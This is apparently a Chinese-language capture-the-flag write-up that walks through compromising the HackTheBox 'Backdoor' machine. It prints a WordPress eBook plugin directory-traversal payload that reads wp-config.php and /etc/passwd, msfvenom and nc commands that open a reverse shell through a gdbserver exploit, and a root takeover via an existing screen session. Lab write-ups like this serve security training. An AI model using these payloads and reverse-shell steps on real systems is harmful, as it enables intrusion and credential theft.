0x00 靶机信息
靶机名:Backdoor[easy]
靶机IP:10.10.11.125
靶机地址:https://app.hackthebox.com/machines/Backdoor/
0x01 信息收集
首先使用nmap扫描,发现开放了22、80端口。
nmap -sC -sV 10.10.11.125
//-sC 根据端口识别服务自动调用默认脚本
//-sV 探测服务版本信息
这里我使用nmap只扫描到了22和80端口,用端口扫描工具rustscan再次扫描,发现1337端口。

0x02 ebook插件漏洞
确定了开放端口后,就可以根据这些端口所开放的服务进行漏洞利用了,80端口是一个WordPress 5.8.1。
对WordPress的渗透主要就是利用插件漏洞以及登录后台进行Getshell。因此当拿到一个Wordpress网站时,插件是需要检查的一个重要方面,Wordpress插件的默认安装位置在/wp-content/plugins。
先使用WPScan进行扫描,但是很遗憾的是什么漏洞都没有扫到(也有人直接扫到了)。
使用dirsearch爆破该网站的目录:
python3 dirsearch.py -u http://10.10.11.125/

尝试访问插件路径/wp-content/plugins发现存在目录遍历漏洞。
看到有一个ebook-download插件,进入这个插件目录看到一个readme.txt文件。
从这个文件中得到该插件的版本为1.1。
得到了插件名称和版本信息,搜索一下该插件是否存在漏洞,这里可以使用在线网站https://www.exploit-db.com/ ,这是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库;也可以使用searchsploit工具,searchsploit是利用exploit-db提供的数据库进行离线搜索,使用参数也可以在exploit-db.com上进行在线搜索。
这里直接使用searchsploit搜索该插件的漏洞,命令如下:
searchsploit -t wordpress ebook
通过搜索发现eBook 1.1版本存在目录遍历漏洞(Directory Traversal),并给出了漏洞利用文件的相对路径,使用-p参数将该文件的完整路径复制到剪贴板,再使用cat查看文件内容:
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
0x03 漏洞利用
利用POC读取wp-config.php配置文件内容,该文件通常包含数据库凭据和其他敏感的配置信息。直接通过浏览器访问会对该文件进行下载,所以可以利用BurpSuite读取文件内容。
从wp-config.php文件中得到数据库连接用户名密码:
DB_NAME = wordpress
DB_USER = wordpressuser
DB_PASSWORD = MQYBJSaD#DxG6qbm读取/etc/passwd文件可以看到一个用户名为user的用户。
但是这些信息都没有什么用,3306并不出网无法连接数据库,ssh也不能连接,所以还要回到一开始扫描的另一个端口1337上。
0x04 爆破1337端口运行进程信息
虽然无法确定1337端口运行的服务,但是由于我们有目录遍历和文件包含漏洞,可以通过这些漏洞读取proc文件系统中的文件,最终获取linux系统中运行进程的相关信息,虽然无法知道1337端口运行进程的进程号,但是可以通过暴力破解找到1337端口的/proc/{PID}/cmdline文件。
可以先使用BurpSuite发送一个访问/proc/1/cmdline文件的请求,以验证服务器的响应是否符合预期,然后再利用Intrude模块进行爆破(或者写python脚本进行爆破)。
将爆破的结果按照返回数据包的长度(Length)进行排序,逐条分析结果。

发现有一个进程使用了1337端口,命令为:
sh-c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done此进程的命令表示gdbserver正在1337端口上运行,gdbserver是一个运行在Linux上的调试工具,用于调试Linux上运行的应用程序。
0x05 gdbserver RCE漏洞利用
利用 searchsploit 搜索 gdbserver 的历史漏洞,发现在 gdbserver 9.2 版本中存在远程代码执行漏洞(RCE)。
searchsploit -t gdbserver
虽然我们无法确定这个服务器上运行的gdbserver的版本,但是试着直接利用这个漏洞进行攻击。
python3 /usr/local/opt/exploitdb/share/exploitdb/exploits/linux/remote/50539.py
运行exp脚本得到该漏洞利用的具体方法,将示例中的ip进行替换即可。
1、使用msfvenom生成shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.57 LPORT=4444 PrependFork=true -o rev.bin
2、nc监听
nc -nlvp 4444 
3、运行exp
python3 /usr/local/opt/exploitdb/share/exploitdb/exploits/linux/remote/50539.py 10.10.10.200:1337 rev.bin 
反弹shell成功,为了方便起见,可以将shell升级为TTY shell:
python3 -c "import pty;pty.spawn('/bin/bash')"查看当前目录下的文件,在user.txt中拿到普通用户的flag9f0b8a0589da59bddb720adcaa6b6141

0x06 提权
接下来就是想办法提权获得root用户的flag了。使用ps aux显示出系统上正在运行的所有进程。
ps aux注意到有一个进程正在创建一个屏幕会话(screen),并且这个进程是由root用户创建。命令如下:
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
screen是一个类似于tmux的多重视窗管理程序,用户可以建立多个screen会话,每个screen会话又可以建立多个window窗口,每一个窗口就像一个可操作的真实的ssh终端一样。
使用文档:https://linux.die.net/man/1/screen
当我们创建一个新的屏幕会话时,将在/var/run/screen目录下创建一个新的目录,名称为S-{username}(username是创建该会话的用户的用户名),在这个目录中将创建会话文件。
例如,使用kali用户创建一个会话名为test的会话screen -S test,执行完命令后,将会创建以下目录和文件。

了解了这些内容后,对上面的命令进行分析:
find /var/run/screen/S-root/ -empty -exec screen -dmS rootfind /var/run/screan/S-root -empty -exec查找指定位置/var/run/screan/S-root,-empty用于检查该目录是否为空。如果发现该目录为空,则执行-exec参数之后的命令,即screen -dmS root。此命令将创建一个名为“root”的断开模式下的会话。简而言之,如果名为root的会话不存在,则命令将创建一个新的名为root的会话。
分析完命令之后,我们可以知道,现在存在一个由root用户启动的名为root的会话,那么可以使用screen -x恢复这个到这个会话:
export TERM=xterm
screen -x root/root
这样就获取到了root权限,拿到root用户目录下的root flagee4c1703821c38fd402d001f24a1a883

参考:
https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/
https://app.hackthebox.com/daa73272-e00b-4b6f-88f5-92952af56d8a

			本文由 Meedo 创作,采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名
最后编辑时间为: Feb 26, 2024 at 02:50 pm